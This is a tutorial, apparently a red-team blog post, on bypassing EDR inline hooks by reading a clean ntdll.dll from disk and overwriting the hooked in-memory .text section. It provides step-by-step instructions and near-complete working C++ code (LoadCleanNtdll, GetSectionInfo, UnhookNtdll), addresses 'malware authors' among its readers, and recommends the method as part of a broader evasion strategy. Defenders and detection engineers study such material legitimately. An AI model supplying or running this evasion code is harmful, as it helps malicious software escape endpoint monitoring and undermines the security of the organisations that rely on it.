Why Unhook?
Modern Endpoint Detection and Response (EDR) solutions often rely on inline hooking within user-mode DLLs, mainly ntdll.dll, to detect and block suspicious or malicious activity. These hooks let EDRs intercept sensitive system calls like NtOpenProcess, NtCreateThreadEx, and NtAllocateVirtualMemory.
How Hooks Work
When a process starts, the system loads ntdll.dll into its memory. EDRs often modify specific instructions in the .text section of this DLL. For example, instead of letting the original syscall instruction run directly, an EDR may replace the function prologue with a jump or call to its own monitoring routines. This redirection enables them to log, block, or alter the behavior of the call.
Why This Is a Problem
For red teamers, malware authors, or even developers who need clean access to system calls, these hooks create barriers. Any indirect or direct system call might be intercepted, logged, or blocked by the EDR, making stealth operations and legitimate debugging more difficult.
The Solution: Unhooking
To get around these user-mode hooks, one common technique is unhooking. This usually involves:
- Loading a clean copy of ntdll.dll from disk (not the possibly hooked one in memory).
- Extracting the .text section from the clean copy.
- Overwriting the .text section in memory with the clean one.
This effectively restores the original system call stubs (mov r10, rcx; mov eax, syscall_number; syscall) and removes the user-mode redirection set up by EDR.
How the Technique Works
1. Load the Clean ntdll.dll
from Disk
Use low-level file I/O functions like CreateFile
, ReadFile
, or NtCreateFile
to open and read the file located at: C:\Windows\System32\ntdll.dll
Do not use LoadLibrary
, as it will load the already hooked version present in memory.
Reading the file manually gives you a clean, untouched copy of ntdll.dll
.
Goal: Get access to the raw, unmodified bytes of ntdll.dll
.
2. Parse the PE Headers (In-Memory and On-Disk)
You now have two versions of ntdll.dll
:
- The hooked, in-memory version (already loaded in your process)
- The clean, on-disk version (the one you just read)
Parse both using the PE header structures:
IMAGE_DOS_HEADER
IMAGE_NT_HEADERS
IMAGE_SECTION_HEADER
These structures will help you locate important sections, especially .text
.
Goal: Find the offset, virtual address, and size of the .text
section in both versions.
3. Locate the .text
Section
The .text
section contains executable code, including syscall stubs like NtOpenProcess
.
From the PE headers, locate:
VirtualAddress
: Start of the.text
section in memorySizeOfRawData
orMisc.VirtualSize
: Length of the.text
section
You need these values from both versions of ntdll.dll
so you can accurately copy the clean code over the hooked one.
Goal: Identify exactly which memory region should be overwritten.
4. Make .text
Memory Writable
By default, the .text
section is marked read-execute (RX) to prevent modification.
Use one of the following APIs to change its protection to read-write-execute (RWX):
VirtualProtect
NtProtectVirtualMemory
Pass the .text
region address and size to these functions.
Goal: Temporarily allow writing to the .text
section of the hooked ntdll.dll
.
5. Overwrite the Hooked Memory with the Clean Bytes
With write access enabled, copy the .text
section bytes from the clean file into the memory region of the loaded ntdll.dll
.
This removes any inline hooks (e.g., JMP instructions) placed by EDR and restores the original syscall stubs.
Each syscall stub typically looks like this:
1mov r10, rcx ; move first parameter to R10 (required for syscall)
2mov eax, <syscall_id> ; load syscall ID
3syscall ; switch to kernel mode
4
Explanation:
mov r10, rcx
: Required by the syscall convention;syscall
expectsR10
instead ofRCX
.mov eax, <syscall_id>
: Specifies the kernel function to invoke.syscall
: Performs the actual transition from user mode to kernel mode.
Goal: Replace the hooked stubs with the original system call code to bypass EDR monitoring.
6. Restore Original Memory Protections
Once the clean .text
section is copied into memory, restore the original memory protection (RX) using the same API:
VirtualProtect
NtProtectVirtualMemory
This avoids detection based on suspicious memory permissions (e.g., RWX) and returns the process to a normal state.
Goal: Finalize the patch and avoid triggering EDR based on modified memory protections.
Code
get the code from here.
This function returns the full path to ntdll.dll
inside the System32 directory.
It works by:
- Using
GetSystemDirectoryW
to get the system directory path (e.g.,C:\Windows\System32
). - Appending
\ntdll.dll
to it. - Returning the result as a
std::wstring
.
1
2wstring GetSystemDirectoryPath()
3{
4 wchar_t systemDir[MAX_PATH];
5 GetSystemDirectoryW(systemDir, MAX_PATH);
6 return wstring(systemDir) + L"\\ntdll.dll";
7}
8
This function reads the raw bytes of the clean ntdll.dll
from disk and returns them as a vector<BYTE>
.
It works by:
- Getting the full path to
ntdll.dll
usingGetSystemDirectoryPath
. - Opening the file with
CreateFileW
in read-only mode. - Getting the file size with
GetFileSize
. - Allocating a byte buffer of that size.
- Reading the file contents into the buffer using
ReadFile
. - Closing the file handle and returning the buffer.
If any step fails, it logs the error and returns an empty vector.
1
2vector<BYTE> LoadCleanNtdll()
3{
4 wstring path = GetSystemDirectoryPath();
5
6 HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL,
7 OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
8 if (hFile == INVALID_HANDLE_VALUE)
9 {
10 cerr << "[-] Failed to open file: " << GetLastError() << endl;
11 return {};
12 }
13
14 DWORD fileSize = GetFileSize(hFile, NULL);
15 if (fileSize == INVALID_FILE_SIZE)
16 {
17 cerr << "[-] Failed to get file size: " << GetLastError() << endl;
18 CloseHandle(hFile);
19 return {};
20 }
21
22 vector<BYTE> buffer(fileSize);
23 DWORD bytesRead;
24 if (!ReadFile(hFile, buffer.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize)
25 {
26 cerr << "[-] Failed to read file: " << GetLastError() << endl;
27 CloseHandle(hFile);
28 return {};
29 }
30
31 CloseHandle(hFile);
32 return buffer;
33}
returns the offset and size of a specific section (e.g., .text
) in a PE file.
It works by:
- Interpreting the base pointer as a DOS header and validating its signature.
- Locating and validating the NT headers using the
e_lfanew
offset. - Iterating through all section headers using
IMAGE_FIRST_SECTION
. - Comparing each section's name with the provided
sectionName
. - If matched:
- Returns the section’s offset (
VirtualAddress
if the module is loaded,PointerToRawData
if from disk). - Returns the section’s size (
SizeOfRawData
).
- Returns the section’s offset (
If the section is not found or headers are invalid, it logs an error and returns {0, 0}
.
1pair<DWORD, DWORD> GetSectionInfo(BYTE *base, const char *sectionName, bool isLoadedModule)
2{
3 PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
4 if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
5 {
6 cerr << "[-] Invalid DOS signature" << endl;
7 return {0, 0};
8 }
9
10 PIMAGE_NT_HEADERS ntHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dosHeader->e_lfanew);
11 if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
12 {
13 cerr << "[-] Invalid NT signature" << endl;
14 return {0, 0};
15 }
16
17 PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeader);
18 for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; ++i, ++section)
19 {
20 char name[9] = {0};
21 strncpy_s(name, (char *)section->Name, 8);
22 if (strcmp(name, sectionName) == 0)
23 {
24 DWORD offset = isLoadedModule ? section->VirtualAddress : section->PointerToRawData;
25 DWORD size = section->SizeOfRawData;
26 return {offset, size};
27 }
28 }
29
30 cerr << "[-] Section '" << sectionName << "' not found" << endl;
31 return {0, 0};
32}
unhooks ntdll.dll
in memory by restoring its original .text
section using a clean copy from disk.
It works by:
- Getting the in-memory handle to
ntdll.dll
usingGetModuleHandleW
. - Locating the
.text
section inside the loadedntdll.dll
usingGetSectionInfo
. - Loading the clean
ntdll.dll
from disk into a buffer usingLoadCleanNtdll
. - Parsing the
.text
section from the clean buffer. - Verifying that the sizes of the
.text
sections (memory vs disk) match and are within bounds. - Changing memory protection of the loaded
.text
section toPAGE_EXECUTE_READWRITE
usingVirtualProtect
. - Overwriting the hooked
.text
section in memory with the clean one usingmemcpy
. - Flushing the CPU instruction cache with
FlushInstructionCache
to ensure the new code is used. - Restoring the original memory protection with another call to
VirtualProtect
.
Returns true
if unhooking succeeds, otherwise logs an error and returns false
.
1
2bool UnhookNtdll()
3{
4 cout << "[+] Unhooking ntdll.dll..." << endl;
5
6 // Get in-memory ntdll
7 HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
8 if (!hNtdll)
9 {
10 cerr << "[-] Failed to get ntdll handle: " << GetLastError() << endl;
11 return false;
12 }
13
14 // Get .text section info from memory module
15 auto [loadedOffset, loadedSize] = GetSectionInfo((BYTE *)hNtdll, ".text");
16 if (!loadedOffset || !loadedSize)
17 {
18 cerr << "[-] Failed to find .text section in memory" << endl;
19 return false;
20 }
21 BYTE *loadedTextBase = (BYTE *)hNtdll + loadedOffset;
22 cout << "[+] Memory .text section: " << static_cast<void *>(loadedTextBase)
23 << " | Size: 0x" << hex << loadedSize << dec << endl;
24
25 // Load clean ntdll from disk
26 vector<BYTE> cleanNtdll = LoadCleanNtdll();
27 if (cleanNtdll.empty())
28 return false;
29
30 // Get .text section info from disk image
31 auto [cleanOffset, cleanSize] = GetSectionInfo(cleanNtdll.data(), ".text", false);
32 if (!cleanOffset || !cleanSize)
33 {
34 cerr << "[-] Failed to find .text section in disk image" << endl;
35 return false;
36 }
37
38 // Validate section sizes match
39 if (loadedSize != cleanSize)
40 {
41 cerr << "[-] Size mismatch: memory=0x" << hex << loadedSize
42 << " disk=0x" << cleanSize << dec << endl;
43 return false;
44 }
45
46 // Validate disk section bounds
47 if (cleanOffset + cleanSize > cleanNtdll.size())
48 {
49 cerr << "[-] Clean section exceeds file bounds" << endl;
50 return false;
51 }
52
53 BYTE *cleanTextBase = cleanNtdll.data() + cleanOffset;
54 cout << "[+] Disk .text section: " << static_cast<void *>(cleanTextBase)
55 << " | Size: 0x" << hex << cleanSize << dec << endl;
56
57 // Change memory protection
58 DWORD oldProtect;
59 if (!VirtualProtect(loadedTextBase, loadedSize, PAGE_EXECUTE_READWRITE, &oldProtect))
60 {
61 cerr << "[-] VirtualProtect failed: " << GetLastError() << endl;
62 return false;
63 }
64 cout << "[+] Memory protection changed to RWX" << endl;
65
66 // Restore original code
67 memcpy(loadedTextBase, cleanTextBase, loadedSize);
68 cout << "[+] .text section restored" << endl;
69
70 // Flush instruction cache
71 if (!FlushInstructionCache(GetCurrentProcess(), loadedTextBase, loadedSize))
72 {
73 cerr << "[-] FlushInstructionCache failed: " << GetLastError() << endl;
74 return false;
75 }
76
77 // Restore original protection
78 DWORD temp;
79 if (!VirtualProtect(loadedTextBase, loadedSize, oldProtect, &temp))
80 {
81 cerr << "[-] Failed to restore protection: " << GetLastError() << endl;
82 return false;
83 }
84 cout << "[+] Protection restored" << endl;
85
86 cout << "[+] Unhooking successful!" << endl;
87 return true;
88}
89
Conclusion
Unhooking ntdll.dll
by restoring its .text
section with a clean copy from disk is an effective technique to bypass user-mode inline hooks commonly used by EDRs. It restores the original syscall stubs, allowing direct, unmonitored system calls.
However, this method has limitations. It does not bypass kernel-level hooks, ETW, or AMSI, and can still raise red flags due to memory protection changes. Advanced EDRs that rely on SSDT hooking or API emulation may still detect malicious behavior.
Use this technique as one part of a broader evasion strategy not a standalone solution.